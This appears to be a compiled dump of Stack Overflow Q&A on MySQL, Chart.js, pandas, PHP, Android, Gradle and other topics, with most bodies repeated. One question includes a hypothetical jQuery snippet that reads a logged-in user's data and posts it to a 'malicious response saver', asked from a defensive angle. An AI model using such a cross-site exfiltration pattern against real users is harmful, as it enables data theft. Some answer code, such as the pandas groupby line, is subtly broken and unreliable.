  small block sizes, particularly for SSD devices in disk-bound
  workloads, such as for OLTP applications. As individual rows are
  updated, less data is copied into memory, written to disk,
  reorganized, locked, and so on.

How about using higher (32KB or 64KB) page size than the default 16KB?
In what case should you do that and what you get as a benefit?

I will be setting up a new MySQL instance with traditional HDD and I was wondering if changing default 16KB could have impact on performance, efficiency of storage utilization.

So far I only found a drawback of using 32KB and 64KB page size:

For 32KB and 64KB page sizes, ROW_FORMAT=COMPRESSED is not supported
  and the maximum record size is 16KB.

答:
Some people hit the max row size of about 8000 bytes.  Switching to 32KB pages doubles that limit.  However, switching to 64KB does not go past 16KB limit.

Since InnoDB blocks tend to be scattered around the disk, having bigger blocks will save slightly in arm motion on a HDD.  I would expect this to be only single-digit percentage improvement.  And it would vary depending on the type of activity.  A freshly loaded table may show no improvement; a table with a lot of churn may show some.

If your dataset fits in the buffer_pool, then there is not much I/O to be done, so the block size does not come into play much.

The cost of arm motion is somewhat minimized by drivers or controllers that optimizer the order of disk operations.  RAID with a cache does an especially good job, and it can make writes virtually instant.  "Hole punching" probably adds to the frequency of arm motion.  Classic tradeoff:  "speed versus space".

If your dataset is too large to fit in RAM, and if you do a lot of "point queries", then a smaller block size would be better.  But if you do a lot of table (or index) scans, then a larger block size has a slight benefit.

Keep in mind that all the data must use the same blocksize.

Of the thousands of forum Question I have seen, I don't think any changed the blocksize.  You will be in uncharted waters.

Also note that, while ROW_FORMAT=COMPRESSED saves some disk space, it chews up some RAM -- this is because some (all?) blocks are kept in RAM both compressed and uncompressed.

The numbers I have seen for that row_format is only 50%.  Any decent compression algorithm compresses virtually any sort of text by about 2/3.  So, if I am tempted to use compression, I compress the compressible columns (eg TEXT, but not jpgs), and do it in the client, thereby offloading the CPU effort from the server.  I believe (without any hard evidence) that this is a better way to compress your data.  Also, I almost never use BIGINT.

(Everything I say here is theoretical, based either in very limited MySQL documentation or the principles of HDDs.)

I have a Rule of Thumb for optimizations.  "If the back-of-envelope calculations estimate less than 10% improvement, then move on -- look for something else to optimize."

So, I say "move on".


问:
How to set ticks on axes dynamically with chart.js?
We have values which can vary when the site is loaded and we want to dynamically set the tick step size. We have two datasets with differing units in the same chart and want to have the horizontal gridlines match each other. On one side it's a scale from 0-100% in steps of 20. On the other side we want to have the maximum as a multiple of 10 and set the stepsize as 1/5 of the maximum (ergo the gridlines should match each other). But stepsize unless fix typed as "10" (see id: 'B') or the like will not get loaded. We tried to set it dynamically with a class variable but it's no use. We use Angular5 and the ng2-charts library

```<code>public averageOptions: any = {
legend: {
  labels: {
    fontColor: 'rgb(255,255,255)',
    fontSize: 15
  }
},
scales: {
  yAxes: [{
    id: 'A',
    type: 'linear',
    position: 'left',
    ticks: {
      min: 0,
      max: 100,
      stepSize: 20,
      fontColor: 'rgb(255,255,255)',
      fontSize: 15,
      callback: function (value) {
        return value + '%';
      }
    },
    gridLines: {
      zeroLineColor: 'rgb(255,255,255)',
      color: 'rgb(255,255,255)'
    }
  }, {
    id: 'B',
    type: 'linear',
    position: 'right',
    ticks: {
      min: this.totalVotesMin,
      max: this.totalVotesMax,
      fontColor: 'rgb(255,255,255)',
      fontSize: 15,
      stepSize: 10
    },
    gridLines: {
      zeroLineColor: 'rgb(255,255,255)',
      color: 'rgb(255,255,255)'
    }
  }],
  xAxes: [{
    ticks: {
      fontColor: 'rgb(255,255,255)',
      fontSize: 15
    },
    gridLines: {
      zeroLineColor: 'rgb(255,255,255)',
      color: 'rgb(255,255,255)'
    }
  }]
}
  };
</code>```

We found this somewhat related topic but we have no idea how the tick array looks or how to set it as there is no documentation about it:
Chart.js - Setting max Y axis value and keeping steps correct

答:
It seems quite a long, but you can use below code to change the steps and max value based on input data.</p>

```<code>ticks: {
            min: 0,
            callback: function(value, index, values) {
                if (Math.floor(value) === value) {
                    return value;
                }
            }
      }
</code>```

Body:
We have values which can vary when the site is loaded and we want to dynamically set the tick step size. We have two datasets with differing units in the same chart and want to have the horizontal gridlines match each other. On one side it's a scale from 0-100% in steps of 20. On the other side we want to have the maximum as a multiple of 10 and set the stepsize as 1/5 of the maximum (ergo the gridlines should match each other). But stepsize unless fix typed as "10" (see id: 'B') or the like will not get loaded. We tried to set it dynamically with a class variable but it's no use. We use Angular5 and the ng2-charts library

public averageOptions: any = {
legend: {
  labels: {
    fontColor: 'rgb(255,255,255)',
    fontSize: 15
  }
},
scales: {
  yAxes: [{
    id: 'A',
    type: 'linear',
    position: 'left',
    ticks: {
      min: 0,
      max: 100,
      stepSize: 20,
      fontColor: 'rgb(255,255,255)',
      fontSize: 15,
      callback: function (value) {
        return value + '%';
      }
    },
    gridLines: {
      zeroLineColor: 'rgb(255,255,255)',
      color: 'rgb(255,255,255)'
    }
  }, {
    id: 'B',
    type: 'linear',
    position: 'right',
    ticks: {
      min: this.totalVotesMin,
      max: this.totalVotesMax,
      fontColor: 'rgb(255,255,255)',
      fontSize: 15,
      stepSize: 10
    },
    gridLines: {
      zeroLineColor: 'rgb(255,255,255)',
      color: 'rgb(255,255,255)'
    }
  }],
  xAxes: [{
    ticks: {
      fontColor: 'rgb(255,255,255)',
      fontSize: 15
    },
    gridLines: {
      zeroLineColor: 'rgb(255,255,255)',
      color: 'rgb(255,255,255)'
    }
  }]
}
  };

We found this somewhat related topic but we have no idea how the tick array looks or how to set it as there is no documentation about it:
Chart.js - Setting max Y axis value and keeping steps correct

Body:
It seems quite a long, but you can use below code to change the steps and max value based on input data.

ticks: {
            min: 0,
            callback: function(value, index, values) {
                if (Math.floor(value) === value) {
                    return value;
                }
            }
      }


问:
How to do nested groupby operations in a dataframe based on a condition on a column?
I have to find the number of cycles within a column in my data frame (A cycle is defined when the variable goes from initial to some max value and again starts from some initial value). Whenever the variable has repeated values, I just average over them. In the desired data frame, I am appending the filter cycle number to that SNo as a suffix to know which cycle the given SNo is in. I need to get the min and the max for a given cycle and SNo (It is not predefined)

An example of the data frame and the desired data frame are as follows:

```<code>SNo  VarPer Value
1000    0   1.2
1000    1   2.2
1000    2   3.2
1000    3   4.2
1000    4   5.2
1000    4   6.2
1000    5   7.2
1000    5   8.2
1000    0   0.9
1000    1   1.9
1000    2   2.9
1000    3   3.9
1000    3   4.9
1000    4   5.9
1001    0   0.5
1001    1   1.5
1001    2   2.5
1001    2   3.5
1001    0   1
1001    1   1
1001    2   1
</code>```

```<code>SNo   VarPer Value
1000_1  0   1.2
1000_1  1   2.2
1000_1  2   3.2
1000_1  3   4.2
1000_1  4   5.7
1000_1  5   7.7
1000_2  0   0.9
1000_2  1   1.9
1000_2  2   2.9
1000_2  3   4.4
1000_2  4   5.9
1001_1  0   0.5
1001_1  1   1.5
1001_1  2   3
1001_2  0   1
1001_2  1   1
1001_2  2   1
</code>```

I have already tried the following:

```<code>y = dat.groupby(['SNo','VarPer'], as_index=False)['Value'].mean()
</code>```

But this is grouping the entire thing without considering the cycles. I have about 70000 rows of data, so I need something that isn't terribly slow. Please help!

答:
As @Peter Leimbigler noted, I'm also not clear about the logic for how the suffix is generated. I would think 1000_3 through 1000_6 should all be 1000_2.

To use a groupby, you will need to create a new grouping with something like this:

```<code>for _, values in df.groupby('SNo'):
    group_label = 0
    for row in values.index:
        if df.loc[row, 'VarPer'] !=0:
            df.loc[row, 'group'] = group_label
        else:
            group_label+=1
            df.loc[row, 'group'] = group_label
</code>```

EDIT: You probably shouldn't use a loop for writing directly to the dataframe. Instead, you can create a list and then create a new column using that list. This will be faster.

```<code>new_grouping = []
for _, values in df.groupby('SNo'):
    label = 0
    group = []
    for row in values.index:
        if df.loc[row, 'VarPer'] !=0:
            group.append(label)
        else:
            label+=1
            group.append(label)
    new_grouping.extend(group)
df['group'] = new_grouping
</code>```

That won't be fast but perhaps you (or someone else) can vectorize it.
Then you can use a groupby to get your averaged values:

```<code>df = df.groupby(['SNo','group'],as_index = False])["VarPer"].mean().reset_index()
</code>```

If your suffixes are actually supposed to be as I describe above, you can do:

```<code>df['SNo'] = df['SNo'].map(str) +'_' + df['group'].map(lambda x: str(int(x)).zfill(2))
</code>```

This will give you:

```<code>SNo  group VarPer Value
1000_1  1.0 0   1.2
1000_1  1.0 1   2.2
1000_1  1.0 2   3.2
1000_1  1.0 3   4.2
1000_1  1.0 4   5.7
1000_1  1.0 5   7.7
1000_2  2.0 0   0.9
1000_2  2.0 1   1.9
1000_2  2.0 2   2.9
1000_2  2.0 3   4.4
1000_2  2.0 4   5.9
1001_1  1.0 0   0.5
1001_1  1.0 1   1.5
1001_1  1.0 2   3.0
1001_2  2.0 0   1.0
1001_2  2.0 1   1.0
1001_2  2.0 2   1.0
</code>```

Body:
I have to find the number of cycles within a column in my data frame (A cycle is defined when the variable goes from initial to some max value and again starts from some initial value). Whenever the variable has repeated values, I just average over them. In the desired data frame, I am appending the filter cycle number to that SNo as a suffix to know which cycle the given SNo is in. I need to get the min and the max for a given cycle and SNo (It is not predefined)

An example of the data frame and the desired data frame are as follows:

SNo  VarPer Value
1000    0   1.2
1000    1   2.2
1000    2   3.2
1000    3   4.2
1000    4   5.2
1000    4   6.2
1000    5   7.2
1000    5   8.2
1000    0   0.9
1000    1   1.9
1000    2   2.9
1000    3   3.9
1000    3   4.9
1000    4   5.9
1001    0   0.5
1001    1   1.5
1001    2   2.5
1001    2   3.5
1001    0   1
1001    1   1
1001    2   1

SNo   VarPer Value
1000_1  0   1.2
1000_1  1   2.2
1000_1  2   3.2
1000_1  3   4.2
1000_1  4   5.7
1000_1  5   7.7
1000_2  0   0.9
1000_2  1   1.9
1000_2  2   2.9
1000_2  3   4.4
1000_2  4   5.9
1001_1  0   0.5
1001_1  1   1.5
1001_1  2   3
1001_2  0   1
1001_2  1   1
1001_2  2   1

I have already tried the following:

y = dat.groupby(['SNo','VarPer'], as_index=False)['Value'].mean()

But this is grouping the entire thing without considering the cycles. I have about 70000 rows of data, so I need something that isn't terribly slow. Please help!

Body:
As @Peter Leimbigler noted, I'm also not clear about the logic for how the suffix is generated. I would think 1000_3 through 1000_6 should all be 1000_2.

To use a groupby, you will need to create a new grouping with something like this:

for _, values in df.groupby('SNo'):
    group_label = 0
    for row in values.index:
        if df.loc[row, 'VarPer'] !=0:
            df.loc[row, 'group'] = group_label
        else:
            group_label+=1
            df.loc[row, 'group'] = group_label

EDIT: You probably shouldn't use a loop for writing directly to the dataframe. Instead, you can create a list and then create a new column using that list. This will be faster.

new_grouping = []
for _, values in df.groupby('SNo'):
    label = 0
    group = []
    for row in values.index:
        if df.loc[row, 'VarPer'] !=0:
            group.append(label)
        else:
            label+=1
            group.append(label)
    new_grouping.extend(group)
df['group'] = new_grouping

That won't be fast but perhaps you (or someone else) can vectorize it.
Then you can use a groupby to get your averaged values:

df = df.groupby(['SNo','group'],as_index = False])["VarPer"].mean().reset_index()

If your suffixes are actually supposed to be as I describe above, you can do:

df['SNo'] = df['SNo'].map(str) +'_' + df['group'].map(lambda x: str(int(x)).zfill(2))

This will give you:

SNo  group VarPer Value
1000_1  1.0 0   1.2
1000_1  1.0 1   2.2
1000_1  1.0 2   3.2
1000_1  1.0 3   4.2
1000_1  1.0 4   5.7
1000_1  1.0 5   7.7
1000_2  2.0 0   0.9
1000_2  2.0 1   1.9
1000_2  2.0 2   2.9
1000_2  2.0 3   4.4
1000_2  2.0 4   5.9
1001_1  1.0 0   0.5
1001_1  1.0 1   1.5
1001_1  1.0 2   3.0
1001_2  2.0 0   1.0
1001_2  2.0 1   1.0
1001_2  2.0 2   1.0


问:
Images on BlackBerry Web Browser loading sporadically
I have several standard XHTML image tags on a valid XHTML 1.0 STRICT html page.

For some reason on blackberry phones the images will sometimes show and sometimes not. It's never the same images, and it appears to be completely random in deciding which one will show. Just hitting refresh will cause the same image to load or not display at random. The page in question has a total of 7 png images. Sometimes only 1 or 2 will show, occasionally all 7 will show.

The test server is an Amazon EC 2 instance.

This issue does not appear on the iPhone, iPod touch, iPad, Andriod, Safari (for desktop), Firefox, Chrome, Opera, or Internet Explorer. It appears to only be an issue with Blackberry phones.

[EDIT]

The issue appears to be on all blackberry phones and on all networks.

Here is a device list of the current Blackberrys with this issue:

BB Curve 8530 (Sprint)    OS:  v5.0.0.654

BB Torch 9800 (AT&T)    OS:  v6.0.0.246

BB Tour  9630   (Verizon) OS:  v5.0.0.975

答:
I have experienced resource load failure based on connection type.

Some default connections would timeout -- specifically on an 9700 AT&T phone -- yet the WAP connection would load the images just fine, then on a Sprint 8520, the WAP connection would occasionally timeout, yet the default connection would perform as expected.
If you can, try different connection types -- you may also experience speed gains by varying the connection type by vendor preference (which seems to be what I have found -- haven't explored the possibility completely, yet).


问:
Has anyone attempted a master clock sync implementation with AudioKit?
The AKMIDITempoListener implements a midiClockMasterEnabled method that tells you if/when you can become the MIDI master clock, but there aren't any examples of how one might implement a MIDI master clock in AudioKit (e.g. using AKSequencer as the master).

Has anyone attempted this?

I'm thinking that I would probably need to add a callback instrument track that sends MIDI timing clock data to destinations 24 times per beat (per MIDI spec), or something like that. I'm open to any & all suggestions here.

Thank you

答: midiClockMasterEnabled tells you when you can become the master.  There is no implementation of generating clocks at the moment.</p>


问:
Protecting a protected JSON web service from data harvesting?
We have a JSON web service that is is used by one of our webpages to show "live" data. To get to the page, the user must be logged in. We are concerned about the ability of malicious sites (competitors) to harvest this data. However, I'm not sure if the problem we are anticipating is plausible.

Once a user is logged in, we store a "remember me" cookie on their machine. If someone were to build a site that made an AJAX request to our web service and convinced a logged in user to visit the site, would they be able to retrieve and store the information from our service? If so, how can we protect ourselves against something like that?

For example:

Could a malicious website build a script like this to get our data:

```<code>$.post('their.secret.json', function(response) {
     $.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
           alert('we saved your stuff!');
     }
});
</code>```

Since they are hitting our JSON feed, wouldn't it send the cookie to our site and the user would be authenticated. Since they would be authenticated, wouldn't it send back the sensitive data?

答:
Absent some as-yet-unpatched browser vulnerability, what you appear to be worried about can not be done.

A script on another domain will not be able to make AJAX requests to your domain. Nor can it load up a page from your domain and 'steal' that information.

What you do need to be concerned with as far as CSRF goes would be destructive actions via GET requests, which of course do not require any scripting at all. And all of this of course assumes that your site is not vulnerable to cross-site scripting (which could permit someone to 'steal' data via someone else's login).

I would think you would be much more likely to have problems with 'legitimate' users who are there to 'mine' your data, though. That's more of a business-level thing, though... aside from assuring proper logging to identify such situations.

Body:
We have a JSON web service that is is used by one of our webpages to show "live" data. To get to the page, the user must be logged in. We are concerned about the ability of malicious sites (competitors) to harvest this data. However, I'm not sure if the problem we are anticipating is plausible.

Once a user is logged in, we store a "remember me" cookie on their machine. If someone were to build a site that made an AJAX request to our web service and convinced a logged in user to visit the site, would they be able to retrieve and store the information from our service? If so, how can we protect ourselves against something like that?

For example:

Could a malicious website build a script like this to get our data:

$.post('their.secret.json', function(response) {
     $.post('our.malicious.response.saver', {save: response}, function(ourResponse) {
           alert('we saved your stuff!');
     }
});

Since they are hitting our JSON feed, wouldn't it send the cookie to our site and the user would be authenticated. Since they would be authenticated, wouldn't it send back the sensitive data?


问:
How to fix inlcude_once showing php as output only error in dreamweaver?
I'm building a website on Dreamweaver using PHP and its only the start of it.
include_once doesn't show the image. It only shows PHP in the design tab.

I've tried include also but that is also not working. I've tried for other files too, still the same problem.

```<code><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head>
  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  <title>The Pickzone</title>
  <link rel="stylesheet" href="style/style.css" type="text/css" media="screen" />
</head>

<body>
  <div align="center" id="mainWrapper">
    <?php include_once('template_header.php');?>
    <div id="pageContent">test</div>
    <?php include_once('template_footer.php');?>

  </div>
</code>```

答:
Try adding __DIR__ in front of your includes to provide the full path on the disk. E.g. /var/www/path/to/file/on/disk/.

```<code><?php include_once __DIR__ . 'template_header.php';?>
<div id="pageContent">test</div>
<?php include_once __DIR__ . 'template_footer.php';?>
</code>```

See the php documentation for more information.

Body:
I'm building a website on Dreamweaver using PHP and its only the start of it.
include_once doesn't show the image. It only shows PHP in the design tab.

I've tried include also but that is also not working. I've tried for other files too, still the same problem.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

  <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
  <title>The Pickzone</title>
  <link rel="stylesheet" href="style/style.css" type="text/css" media="screen" />

    <?php include_once('template_header.php');?>

test

    <?php include_once('template_footer.php');?>

Body:
Try adding __DIR__ in front of your includes to provide the full path on the disk. E.g. /var/www/path/to/file/on/disk/.

<?php include_once __DIR__ . 'template_header.php';?>
<div id="pageContent">test</div>
<?php include_once __DIR__ . 'template_footer.php';?>

See the php documentation for more information.


问:
my emulator does not show the same positioning of views as I design and see while making the app
I am using constraint layout and positioning 4 buttons in the middle of the screen in android studio but when I run the emulator. The buttons are shown at the bottom.
I am facing similar kind of problem while using relative layout. Nothing shows on the emulator the way I intend it to. I followed the

I went through the Android developer site to see how they place views in constraint layout. I did the same as instructed. I also went through some posts on Stack Overflow but I was unable to resolve this issue.

Kindly help me. Below is the image describing my problem
enter image description here

答:
Try this code:</p>

```<code><?xml version="1.0" encoding="utf-8"?>
<android.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <Button
        android:id="@+id/button5"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="8dp"
        android:text="Button 5"
        app:layout_constraintVertical_chainStyle="packed"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintBottom_toTopOf="@+id/button4"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintEnd_toEndOf="parent"/>

    <Button
        android:id="@+id/button4"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="8dp"
        android:text="Button 4"
        app:layout_constraintVertical_chainStyle="packed"
        app:layout_constraintTop_toBottomOf="@+id/button5"
        app:layout_constraintBottom_toTopOf="@+id/button2"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        />

    <Button
        android:id="@+id/button2"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="8dp"
        android:text="Button 2"
        app:layout_constraintVertical_chainStyle="packed"
        app:layout_constraintTop_toBottomOf="@+id/button4"
        app:layout_constraintBottom_toTopOf="@+id/button3"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        />

    <Button
        android:id="@+id/button3"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginBottom="8dp"
        android:layout_marginTop="8dp"
        android:text="Button 3"
        app:layout_constraintVertical_chainStyle="packed"
        app:layout_constraintTop_toBottomOf="@+id/button2"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        />

</android.support.constraint.ConstraintLayout>
</code>```

Body:
Try this code:

<?xml version="1.0" encoding="utf-8"?>
<android.support.constraint.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    android:layout_width="match_parent"
    android:layout_height="match_parent">

    <Button
        android:id="@+id/button5"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="8dp"
        android:text="Button 5"
        app:layout_constraintVertical_chainStyle="packed"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintBottom_toTopOf="@+id/button4"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintEnd_toEndOf="parent"/>

    <Button
        android:id="@+id/button4"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="8dp"
        android:text="Button 4"
        app:layout_constraintVertical_chainStyle="packed"
        app:layout_constraintTop_toBottomOf="@+id/button5"
        app:layout_constraintBottom_toTopOf="@+id/button2"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        />

    <Button
        android:id="@+id/button2"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginTop="8dp"
        android:text="Button 2"
        app:layout_constraintVertical_chainStyle="packed"
        app:layout_constraintTop_toBottomOf="@+id/button4"
        app:layout_constraintBottom_toTopOf="@+id/button3"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        />

    <Button
        android:id="@+id/button3"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        android:layout_marginBottom="8dp"
        android:layout_marginTop="8dp"
        android:text="Button 3"
        app:layout_constraintVertical_chainStyle="packed"
        app:layout_constraintTop_toBottomOf="@+id/button2"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        />

</android.support.constraint.ConstraintLayout>


问:
In project 'app' a resolved Google Play services library dependency depends on another at an exact version
Trying to create a simple app with FireStore and Google Authentication. Having problem with the gradle:

In project 'app' a resolved Google Play services library dependency
  depends on another at an exact version (e.g. "[15.0. 1]", but isn't
  being resolved to that version. Behavior exhibited by the library will
  be unknown.

Dependency failing: com.google.android.gms:play-services-flags:15.0.1
  -> com.google.android.gms:play-services-basement@[
  15.0.1], but play-services-basement version was 16.0.1.

The following dependencies are project dependencies that are direct or
  have transitive dependencies that lead to the art ifact with the
  issue.
  -- Project 'app' depends onto com.google.firebase:firebase-firestore@17.1.5
  -- Project 'app' depends onto com.firebaseui:firebase-ui-auth@4.2.0

For extended debugging info execute Gradle from the command line with
  ./gradlew --info :app:assembleDebug to see the dep endency paths to
  the artifact. This error message came from the google-services Gradle
  plugin, report issues at https://
  github.com/google/play-services-plugins and disable by adding
  "googleServices { disableVersionCheck = false }" to your b uild.gradle
  file.

```<code>    apply plugin: 'com.android.application'

    android {
        compileSdkVersion 27
        defaultConfig {
            applicationId "myapp.com"
            minSdkVersion 19
            targetSdkVersion 27
            versionCode 11
            versionName "1.1"
            testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
            multiDexEnabled true
        }
        buildTypes {
            release {
                minifyEnabled false
                proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
            }
        }
    }

    dependencies {
        implementation fileTree(dir: 'libs', include: ['*.jar'])
        implementation 'com.android.support:appcompat-v7:27.1.1'
        implementation 'com.android.support.constraint:constraint-layout:1.1.3'
        testImplementation 'junit:junit:4.12'
        androidTestImplementation 'com.android.support.test:runner:1.0.2'
        androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'
        implementation 'com.google.firebase:firebase-firestore:17.1.5'

        implementation 'com.firebaseui:firebase-ui-auth:4.2.0'

    }

    apply plugin: 'com.google.gms.google-services'
    com.google.gms.googleservices.GoogleServicesPlugin
</code>```

Project gradle:

```<code>buildscript {

    repositories {
        google()
        jcenter()
    }
    dependencies {
        classpath 'com.android.tools.build:gradle:3.2.1'

        classpath 'com.google.gms:google-services:4.2.0'

    }
}
</code>```

Can somebody help me?

答:
There's a known bug with Google Services 4.2.0 that may cause this. Downgrading your google-services version to 4.1.0 in your project's build.gradle may resolve the issue</p>

```<code>buildscript {
    dependencies {
        classpath 'com.google.gms:google-services:4.1.0' //decreased from 4.2.0
    }
}
</code>```

Body:
Trying to create a simple app with FireStore and Google Authentication. Having problem with the gradle:

In project 'app' a resolved Google Play services library dependency
  depends on another at an exact version (e.g. "[15.0. 1]", but isn't
  being resolved to that version. Behavior exhibited by the library will
  be unknown.

Dependency failing: com.google.android.gms:play-services-flags:15.0.1
  -> com.google.android.gms:play-services-basement@[
  15.0.1], but play-services-basement version was 16.0.1.

The following dependencies are project dependencies that are direct or
  have transitive dependencies that lead to the art ifact with the
  issue.
  -- Project 'app' depends onto com.google.firebase:firebase-firestore@17.1.5
  -- Project 'app' depends onto com.firebaseui:firebase-ui-auth@4.2.0

For extended debugging info execute Gradle from the command line with
  ./gradlew --info :app:assembleDebug to see the dep endency paths to
  the artifact. This error message came from the google-services Gradle
  plugin, report issues at https://
  github.com/google/play-services-plugins and disable by adding
  "googleServices { disableVersionCheck = false }" to your b uild.gradle
  file.

    apply plugin: 'com.android.application'

    android {
        compileSdkVersion 27
        defaultConfig {
            applicationId "myapp.com"
            minSdkVersion 19
            targetSdkVersion 27
            versionCode 11
            versionName "1.1"
            testInstrumentationRunner "android.support.test.runner.AndroidJUnitRunner"
            multiDexEnabled true
        }
        buildTypes {
            release {
                minifyEnabled false
                proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
            }
        }
    }

    dependencies {
        implementation fileTree(dir: 'libs', include: ['*.jar'])
        implementation 'com.android.support:appcompat-v7:27.1.1'
        implementation 'com.android.support.constraint:constraint-layout:1.1.3'
        testImplementation 'junit:junit:4.12'
        androidTestImplementation 'com.android.support.test:runner:1.0.2'
        androidTestImplementation 'com.android.support.test.espresso:espresso-core:3.0.2'
        implementation 'com.google.firebase:firebase-firestore:17.1.5'

        implementation 'com.firebaseui:firebase-ui-auth:4.2.0'

    }

    apply plugin: 'com.google.gms.google-services'
    com.google.gms.googleservices.GoogleServicesPlugin

Project gradle:

buildscript {

    repositories {
        google()
        jcenter()
    }
    dependencies {
        classpath 'com.android.tools.build:gradle:3.2.1'

        classpath 'com.google.gms:google-services:4.2.0'

    }
}

Can somebody help me?

Body:
There's a known bug with Google Services 4.2.0 that may cause this. Downgrading your google-services version to 4.1.0 in your project's build.gradle may resolve the issue

buildscript {
    dependencies {
        classpath 'com.google.gms:google-services:4.1.0' //decreased from 4.2.0
    }
}


问:
Tailwind CSS + VueJS single file component and VS Code integration
How to properly configure Tailwind CSS and VS Code to at least disable errors about at-rule and empty tag error inside VueJS single file component (vue-cli)?</p>

```<code><template>
...
</template>

<style lang="scss">
  body {
    // } expected
    @apply font-source pt-4;
  } // at-rule or selector expected

  h5,h4,h3,h2,h1 {
    // } expected
    @apply font-pt font-bold;
  } // at-rule or selector expected
</style>
</code>```

答: maybe remove lang="scss" or use the class directly in the template should work ?</p>

Body:
How to properly configure Tailwind CSS and VS Code to at least disable errors about at-rule and empty tag error inside VueJS single file component (vue-cli)?

<template>
...
</template>


问:
What is best control in Java for simple editor
I need to implement light editor ( recognize part of key words, syntax highlight and suggest all of word in dropdown list if user type part with same prefix). What is best control in Java for this task ?</p>

答: You can go through the Java Tutorial - Using Text Components along with the examples page.</p>


问:
Reading a float or double from json with swift
I am trying to read a json file with swift and it contains a field with 0.97.

If I tried to cast the field to a float, it would return nil, but if I were to cast it to a double, it would return the correct value. However, the only difference I could find on double and float was that double is 64-bit while float is 32-bit. I am wondering what is causing the difference.

答: It's a known issue that casting Any to Float has issues. See previous discussion. Just cast to Double.</p>


问:
Remember previous utterance
I have a capsule where the user needs to provide Bixby an account name, property, and date range, then Bixby returns the result. What if the user wanted to check a different account with the same property and date range and the user's utterance is something like "What about the foo account?" How could I get Bixby to keep the property and date range from the previous utterance, but change the account name to search for?</p>

答:
By default, Bixby will use the conversation history to attempt to provide inputs that have not been defined by the user.

This means that, if the goal Action for your utterance "What about the foo account?" requires the property and date range inputs, Bixby will assume them from the conversation history if any exist.

Title: Remember previous utterance


问:
Google Sheet API v4
I try to use example "Read multiple ranges":

https://sheets.googleapis.com/v4/spreadsheets/{SpreadsheetID}/values:batchGet?ranges=Sheet1!B:B&ranges=Sheet1!D:D&valueRenderOption=UNFORMATTED_VALUES?majorDimension=COLUMNS

from: Google Sheets API v4 example
I replaced "spreadsheetId" with my spreadsheet id.
But when I send GET request (by Postman) I receive:

```<code>{
  "error": {
    "code": 403,
    "message": "The request is missing a valid API key.",
    "status": "PERMISSION_DENIED"
  }
}
</code>```

Than I used https://developers.google.com/oauthplayground/
I made authorisation for Spreadsheet API v4 with my email and at the end I generated a long link with key and saw correct response with content of my data table.

My question is next:
Why it's imposible to use the example from Google API (https://developers.google.com/sheets/api/samples/reading) only replace the spreadsheet id.
P.s Link to my spreadsheet is public, My spreadsheet is public and available in JSON format  and what is correct use of url for Google Spreadsheet API v4 in order to send batchGet with multiple requests?

P.s.s I use another approach and it works but why first approach (v4) doesn't work:

```<code>https://spreadsheets.google.com/feeds/list/{SpreadsheetID}/od6/public/values?alt=json
</code>```

When I tried to combine 2 APIs in one request and received and error "Inconsistent repeating query parameter ranges":

```<code>https://spreadsheets.google.com/feeds/list/{SpreadsheetID}/od6/public/values:batchGet?ranges=Sheet1!B:B&ranges=Sheet1!D:D&valueRenderOption=UNFORMATTED_VALUES?majorDimension=COLUMNS
</code>```

======================================

Edited:

SpreadSheetID: 1KBk1J7TJCwnayMnTbaysqvFk98kVDdxXWNw2JYc3bW0

Available in incognito mode: Spreadsheet

In JSON format: JSON

Reference: Google Sheets API v4: Read multiple ranges

The same example with SpreadSheetID: ERROR 403

答:
You have to make sure to pass in the key=YOUR_API_KEY as the request parameter.
For example:</p>

```<code>https://sheets.googleapis.com/v4/spreadsheets/{sheet_id}/values/Sheet1!A1:D5?key={YOUR_API_KEY}
</code>```

Title: Google Sheet API v4

Body:
I try to use example "Read multiple ranges":

https://sheets.googleapis.com/v4/spreadsheets/{SpreadsheetID}/values:batchGet?ranges=Sheet1!B:B&ranges=Sheet1!D:D&valueRenderOption=UNFORMATTED_VALUES?majorDimension=COLUMNS

from: Google Sheets API v4 example
I replaced "spreadsheetId" with my spreadsheet id.
But when I send GET request (by Postman) I receive:

{
  "error": {
    "code": 403,
    "message": "The request is missing a valid API key.",
    "status": "PERMISSION_DENIED"
  }
}

Than I used https://developers.google.com/oauthplayground/
